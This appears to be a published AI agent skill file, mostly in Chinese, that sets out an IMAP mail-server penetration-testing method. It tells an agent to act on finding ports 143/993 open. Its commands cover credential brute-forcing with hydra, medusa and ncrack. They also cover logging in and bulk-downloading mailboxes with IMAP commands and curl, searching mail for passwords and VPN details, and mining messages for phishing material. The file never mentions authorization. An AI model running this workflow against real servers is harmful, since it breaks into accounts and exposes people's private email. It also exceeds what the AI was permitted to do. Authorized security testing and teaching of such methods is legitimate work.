imap-pentesting
$
npx mdskill add wgpsec/AboutSecurity/imap-pentestingExecute IMAP penetration tests on open mail servers.
- Automates credential cracking and email enumeration.
- Integrates with Nmap scripts and Metasploit modules.
- Decides actions based on port status and banner analysis.
- Delivers results via command logs and vulnerability reports.
SKILL.md
.github/skills/imap-pentestingView on GitHub ↗
---
name: imap-pentesting
description: |
IMAP 邮件服务(143/993 端口)渗透测试方法论。涵盖 IMAP 服务发现、Banner 信息提取、凭据爆破、邮箱枚举与邮件下载、IMAP 命令注入、已知漏洞利用。
当 Agent 扫描发现 143 或 993 端口开放、需要测试 IMAP 认证强度、枚举邮箱内容、或利用 IMAP 服务漏洞时,触发此 Skill。
metadata:
tags:
- imap
- 邮件
- 143端口
- 993端口
- 邮箱枚举
category: exploit/network-service
---
# IMAP 邮件渗透测试方法论 (143/993)
## 深入参考
- IMAP 命令语法、CURL 操作、NTLM 信息提取、邮件搜索技巧 -> 读 [references/imap-techniques.md](references/imap-techniques.md)
---
## 整体决策树
```
发现 143/993 端口开放
├─ Phase 1: 服务发现
│ ├─ Banner 抓取 -> 识别邮件服务与版本
│ ├─ 143 (明文) vs 993 (SSL/TLS)
│ └─ Nmap 脚本 -> 能力枚举 / NTLM 信息
├─ Phase 2: Banner 信息分析
│ ├─ 邮件服务器类型 (Dovecot / Exchange / Cyrus / Zimbra)
│ ├─ NTLM 信息泄露 (Exchange) -> Windows 版本、域名
│ └─ CAPABILITY 命令 -> 支持的功能
├─ Phase 3: 凭据爆破
│ ├─ hydra / medusa / ncrack
│ ├─ Metasploit imap_version
│ └─ 默认凭据 / 弱密码
├─ Phase 4: 邮箱枚举与邮件下载
│ ├─ LIST "" * -> 列出所有邮箱文件夹
│ ├─ SELECT INBOX -> 选中收件箱
│ ├─ SEARCH ALL -> 列出所有邮件
│ ├─ FETCH -> 下载邮件内容
│ └─ SEARCH TEXT "password" -> 关键词搜索
└─ Phase 5: 已知漏洞
├─ 服务器特定 CVE
├─ IMAP 命令注入
└─ searchsploit <imap_server> <version>
```
---
## Phase 1: 服务发现
### 1.1 Banner 抓取
```bash
# 明文 IMAP (143)
nc -nv <IP> 143
# SSL/TLS IMAP (993)
openssl s_client -connect <IP>:993 -quiet
```
### 1.2 Nmap 枚举
```bash
# IMAP NTLM 信息泄露
nmap --script imap-ntlm-info -p 143 <IP>
# IMAP 能力枚举
nmap --script imap-capabilities -p 143 <IP>
```
### 1.3 Metasploit
```bash
msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS <IP>; set RPORT 143; run; exit'
```
---
## Phase 2: Banner 信息分析
### 2.1 NTLM 信息提取 (Exchange)
如果服务器支持 NTLM 认证,可提取 Windows 版本等信息:
```bash
# Telnet 交互
telnet <IP> 143
* OK The Microsoft Exchange IMAP4 service is ready.
>> a1 AUTHENTICATE NTLM
+
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
# 服务器返回 NTLMSSP_CHALLENGE (含 OS 版本、域信息)
```
### 2.2 信息分析决策树
```
Banner 分析
├─ Microsoft Exchange
│ ├─ NTLM 信息泄露 -> 版本、域名、主机名
│ └─ 可能存在 ProxyLogon / ProxyShell 等漏洞 (通过 HTTP)
├─ Dovecot
│ └─ 检查版本特定 CVE
├─ Cyrus IMAP
│ └─ 检查版本特定 CVE
├─ Zimbra
│ └─ 检查 Web 接口相关 CVE
└─ CAPABILITY 结果
├─ STARTTLS -> 可升级加密
├─ AUTH=PLAIN -> 明文认证
└─ AUTH=NTLM -> Windows 域环境
```
---
## Phase 3: 凭据爆破
### 3.1 爆破工具
```bash
# hydra — IMAP 明文
hydra -l <username> -P <password_list> -f <IP> imap -V
# hydra — IMAPS (SSL)
hydra -l <username> -P <password_list> -f <IP> -s 993 imaps -V
# medusa
medusa -h <IP> -u <username> -P <password_list> -M imap
# ncrack
ncrack -p 143 --user <username> -P <password_list> <IP>
```
---
## Phase 4: 邮箱枚举与邮件下载
### 4.1 IMAP 命令操作
```bash
# 登录
a1 LOGIN username password
# 列出所有邮箱/文件夹
a1 LIST "" *
a1 LIST INBOX *
# 选中邮箱
a1 SELECT INBOX
# 查看邮箱状态
a1 STATUS INBOX (MESSAGES UNSEEN RECENT)
# 搜索所有邮件
a1 SEARCH ALL
# 关键词搜索
a1 SEARCH TEXT "password"
a1 SEARCH SUBJECT "vpn"
a1 SEARCH FROM "admin"
# 获取邮件标志
a1 FETCH 1:* (FLAGS)
# 下载邮件全文
a1 FETCH <msg_id> body[text]
a1 FETCH <msg_id> all
a1 UID FETCH <uid> (UID RFC822.SIZE BODY.PEEK[])
# 关闭邮箱
a1 CLOSE
# 退出
a1 LOGOUT
```
### 4.2 CURL 操作 (更方便)
```bash
# 列出所有邮箱
curl -k 'imaps://<IP>/' --user user:pass
# 列出 INBOX 中的邮件
curl -k 'imaps://<IP>/INBOX?ALL' --user user:pass
# 关键词搜索
curl -k 'imaps://<IP>/Drafts?TEXT password' --user user:pass
# 下载指定邮件
curl -k 'imaps://<IP>/INBOX;MAILINDEX=1' --user user:pass
# UID 操作
curl -k 'imaps://<IP>/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://<IP>/INBOX;UID=1' --user user:pass
# 批量获取邮件头
curl -k 'imaps://<IP>/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
```
### 4.3 邮件内容分析
```
邮件提取后关注内容
├─ 凭据信息
│ ├─ 密码重置邮件
│ ├─ 系统通知 (新账户创建)
│ └─ VPN / SSH / RDP 配置
├─ 内部网络信息
│ ├─ 内网 IP / URL
│ ├─ 系统架构文档
│ └─ 运维通知
├─ 附件
│ ├─ 配置文件
│ ├─ 文档 (Word/Excel/PDF)
│ └─ 压缩包
├─ 草稿箱
│ └─ 可能包含未发送的敏感信息
└─ 社会工程素材
└─ 邮件模板 / 签名 -> 钓鱼攻击参考
```
### 4.4 批量下载脚本
```bash
# 循环下载前 N 封邮件
for m in {1..20}; do
echo "--- Message $m ---"
curl -k "imap://<IP>/INBOX;MAILINDEX=$m;SECTION=HEADER.FIELDS%20(SUBJECT%20FROM)" --user user:pass
done
```
---
## Phase 5: 已知漏洞
### 5.1 漏洞检测决策树
```
IMAP 服务版本已知
├─ Dovecot
│ ├─ CVE-2019-11500 (堆溢出)
│ └─ searchsploit dovecot
├─ Cyrus IMAP
│ ├─ CVE-2019-18928 (认证绕过)
│ └─ searchsploit cyrus imap
├─ Microsoft Exchange
│ ├─ ProxyLogon (CVE-2021-26855)
│ ├─ ProxyShell (CVE-2021-34473)
│ └─ 通过 HTTP/HTTPS 接口利用
├─ Zimbra
│ ├─ CVE-2022-27925 (RCE)
│ └─ CVE-2022-37042 (认证绕过 + RCE)
└─ 通用
└─ searchsploit imap
```
---
## 图形化客户端
如需更直观操作邮件内容:
```bash
# Evolution 邮件客户端 (Linux)
apt install evolution
# 添加 IMAP 账户配置后可浏览完整邮箱
```
---
## Shodan 搜索
```
port:143 CAPABILITY
port:993 CAPABILITY
```